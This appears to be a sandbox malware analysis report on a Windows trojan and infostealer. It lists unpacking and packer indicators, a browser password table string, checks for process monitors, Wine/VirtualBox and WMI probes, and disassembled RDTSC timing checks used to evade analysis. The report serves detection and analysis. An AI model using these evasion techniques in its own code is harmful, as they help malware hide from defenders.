Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00604DC4	0_2_00604DC4
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005FCDEC	0_2_005FCDEC
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004ECDF0	0_2_004ECDF0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00550DB7	0_2_00550DB7
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0057EDB4	0_2_0057EDB4
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0059CDB2	0_2_0059CDB2
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0052CDBE	0_2_0052CDBE
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00512DA3	0_2_00512DA3
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005CCE56	0_2_005CCE56
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005BEE40	0_2_005BEE40
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00642E7A	0_2_00642E7A
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004D2E6D	0_2_004D2E6D
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004D0E6C	0_2_004D0E6C
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004DEE63	0_2_004DEE63
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00590E77	0_2_00590E77
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00520E6E	0_2_00520E6E
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0063EE2A	0_2_0063EE2A
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00536E00	0_2_00536E00
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00562E0A	0_2_00562E0A
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00538E3E	0_2_00538E3E
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00580E36	0_2_00580E36
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00620E12	0_2_00620E12
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005DCE29	0_2_005DCE29
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0056CE2D	0_2_0056CE2D
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00540E28	0_2_00540E28
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00630EE1	0_2_00630EE1
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0058AEDB	0_2_0058AEDB
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00548EDD	0_2_00548EDD
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0055CEC4	0_2_0055CEC4
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005B0EC8	0_2_005B0EC8
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005E0ECA	0_2_005E0ECA
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005A6EFE	0_2_005A6EFE
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005A0EF3	0_2_005A0EF3
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0052AE93	0_2_0052AE93
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005A8E95	0_2_005A8E95
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00600EB2	0_2_00600EB2
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00588EB9	0_2_00588EB9
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005F0EBB	0_2_005F0EBB
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00526EB7	0_2_00526EB7
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00592EBF	0_2_00592EBF
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00582EB2	0_2_00582EB2
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00598EAF	0_2_00598EAF
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004B2EB0	0_2_004B2EB0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004CAEB0	0_2_004CAEB0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00524EAC	0_2_00524EAC
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0064CF75	0_2_0064CF75
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_004C6F52	0_2_004C6F52
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00516F7D	0_2_00516F7D
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00606F2A	0_2_00606F2A
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0063AF3A	0_2_0063AF3A
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00558F0E	0_2_00558F0E
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00552FD6	0_2_00552FD6
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00642FE2	0_2_00642FE2
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00602FEC	0_2_00602FEC
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00546FD9	0_2_00546FD9
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005B8FCF	0_2_005B8FCF
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00594FC1	0_2_00594FC1
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005FAFC5	0_2_005FAFC5
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0062AFC6	0_2_0062AFC6
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00572F9D	0_2_00572F9D
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0058CF92	0_2_0058CF92
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0056EF98	0_2_0056EF98
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0054CF85	0_2_0054CF85
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00618F82	0_2_00618F82
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005AEFB6	0_2_005AEFB6
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005D2FAD	0_2_005D2FAD
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0056AFAA	0_2_0056AFAA
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005EB05E	0_2_005EB05E
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0054505B	0_2_0054505B
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005CF044	0_2_005CF044
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005E3043	0_2_005E3043
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005E707F	0_2_005E707F
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005C5077	0_2_005C5077
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0057901F	0_2_0057901F
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0053D01A	0_2_0053D01A

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

Code function: String function: 004C4C90 appears 47 times

Source: Wvo9FU4qo9.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Wvo9FU4qo9.exe	Static PE information: Section: ZLIB complexity 0.9995915032679739
Source: Wvo9FU4qo9.exe	Static PE information: Section: nefrsmja ZLIB complexity 0.9949230393070044

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

Code function: 0_2_004E2070 CoCreateInstance,

0_2_004E2070

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Wvo9FU4qo9.exe, 00000000.00000003.1525599035.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525892000.00000000057CC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Wvo9FU4qo9.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

File read: C:\Users\user\Desktop\Wvo9FU4qo9.exe

Jump to behavior

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Wvo9FU4qo9.exe

Static file information: File size 1890304 > 1048576

Source: Wvo9FU4qo9.exe

Static PE information: Raw size of nefrsmja is bigger than: 0x100000 < 0x1a3600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

Unpacked PE file: 0.2.Wvo9FU4qo9.exe.4b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nefrsmja:EW;mbmugyej:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nefrsmja:EW;mbmugyej:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: Wvo9FU4qo9.exe

Static PE information: real checksum: 0x1d7d0f should be: 0x1d062f

Source: Wvo9FU4qo9.exe	Static PE information: section name:
Source: Wvo9FU4qo9.exe	Static PE information: section name: .idata
Source: Wvo9FU4qo9.exe	Static PE information: section name:
Source: Wvo9FU4qo9.exe	Static PE information: section name: nefrsmja
Source: Wvo9FU4qo9.exe	Static PE information: section name: mbmugyej
Source: Wvo9FU4qo9.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_3_00F7AC5B push 741874C0h; ret	0_3_00F7AFE2
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_3_00F7C20D push eax; ret	0_3_00F7C345
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00509934 push 581A58E5h; mov dword ptr [esp], eax	0_2_00509A21
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_00509934 push ebx; mov dword ptr [esp], edx	0_2_00509A25
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0050C052 push 2023EA52h; mov dword ptr [esp], eax	0_2_0050CFEF
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0076E078 push edx; mov dword ptr [esp], eax	0_2_0076E0A1
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0076E078 push ebx; mov dword ptr [esp], 0033A938h	0_2_0076E0AB
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_006B6051 push eax; mov dword ptr [esp], ecx	0_2_006B6073
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0075601D push 75437422h; mov dword ptr [esp], edx	0_2_0075673A
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005C0022 push ebp; mov dword ptr [esp], 48DB05EBh	0_2_005C0445
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005C0022 push ecx; mov dword ptr [esp], edi	0_2_005C0478
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005C0022 push ebx; mov dword ptr [esp], eax	0_2_005C04F1
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005C0022 push esi; mov dword ptr [esp], eax	0_2_005C04F8
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005C0022 push edx; mov dword ptr [esp], esi	0_2_005C04FC
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005C0022 push edx; mov dword ptr [esp], esi	0_2_005C050C
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_005C0022 push eax; mov dword ptr [esp], ebx	0_2_005C054E
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0050A0EA push 72061FF3h; mov dword ptr [esp], eax	0_2_0050A0EF
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_007240A8 push 7A5AC158h; mov dword ptr [esp], esi	0_2_007240E3
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_007240A8 push esi; mov dword ptr [esp], 5DFD1002h	0_2_0072410F
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_007240A8 push eax; mov dword ptr [esp], edx	0_2_007241B6
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0050E14F push eax; mov dword ptr [esp], edx	0_2_0050E168
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0067410C push 6C7508E7h; mov dword ptr [esp], edi	0_2_0067412E
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0067410C push 199882CAh; mov dword ptr [esp], edx	0_2_00674141
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0067410C push ecx; mov dword ptr [esp], 4F7DE119h	0_2_00674156
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0067410C push 0554C3BAh; mov dword ptr [esp], ebx	0_2_00674189
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0067410C push ebp; mov dword ptr [esp], edi	0_2_00674193
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0067410C push 5A1B7219h; mov dword ptr [esp], edi	0_2_0067422F
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0067410C push edi; mov dword ptr [esp], esi	0_2_0067423B
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0067410C push ebp; mov dword ptr [esp], edx	0_2_00674274
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0067410C push ebx; mov dword ptr [esp], 7BFC1E32h	0_2_006742AD
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 0_2_0067410C push 038A0E3Dh; mov dword ptr [esp], edx	0_2_00674300

Source: Wvo9FU4qo9.exe	Static PE information: section name: entropy: 7.982349711059476
Source: Wvo9FU4qo9.exe	Static PE information: section name: nefrsmja entropy: 7.954783069172778

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 5090A7 second address: 508A29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3331238829h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3331238822h 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 jmp 00007F333123881Fh 0x00000017 mov dword ptr [ebp+122D2231h], esi 0x0000001d push dword ptr [ebp+122D0D5Dh] 0x00000023 clc 0x00000024 clc 0x00000025 call dword ptr [ebp+122D1933h] 0x0000002b pushad 0x0000002c jno 00007F333123881Ch 0x00000032 xor eax, eax 0x00000034 mov dword ptr [ebp+122D2B78h], ebx 0x0000003a mov edx, dword ptr [esp+28h] 0x0000003e jmp 00007F3331238825h 0x00000043 mov dword ptr [ebp+122D37BEh], eax 0x00000049 pushad 0x0000004a mov dx, 21D2h 0x0000004e mov eax, dword ptr [ebp+122D3676h] 0x00000054 popad 0x00000055 mov esi, 0000003Ch 0x0000005a mov dword ptr [ebp+122D2B78h], ecx 0x00000060 add esi, dword ptr [esp+24h] 0x00000064 jmp 00007F3331238828h 0x00000069 lodsw 0x0000006b mov dword ptr [ebp+122D2B78h], edx 0x00000071 add eax, dword ptr [esp+24h] 0x00000075 clc 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a mov dword ptr [ebp+122D2B78h], ebx 0x00000080 nop 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007F3331238824h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 508A29 second address: 508A56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F333124C7D6h 0x00000009 jo 00007F333124C7D6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F333124C7E7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6873DE second address: 6873E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6873E2 second address: 6873F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F333124C7D6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6873F2 second address: 687406 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F3331238818h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 687406 second address: 68740C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 68740C second address: 687410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 68635A second address: 6863B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F333124C7E5h 0x0000000a push esi 0x0000000b jnp 00007F333124C7D6h 0x00000011 jmp 00007F333124C7E4h 0x00000016 pop esi 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F333124C7E6h 0x00000021 jno 00007F333124C7D6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6863B1 second address: 6863D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3331238821h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c jnc 00007F3331238816h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6863D0 second address: 6863D5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 68650F second address: 686515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 686515 second address: 686519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 686519 second address: 68653C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F333123882Bh 0x0000000e jmp 00007F3331238825h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 686ACA second address: 686AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 686AD2 second address: 686AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3331238828h 0x0000000e jmp 00007F333123881Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 688D63 second address: 688D9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push esi 0x0000000e jmp 00007F333124C7DEh 0x00000013 pop esi 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 688D9C second address: 688DA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
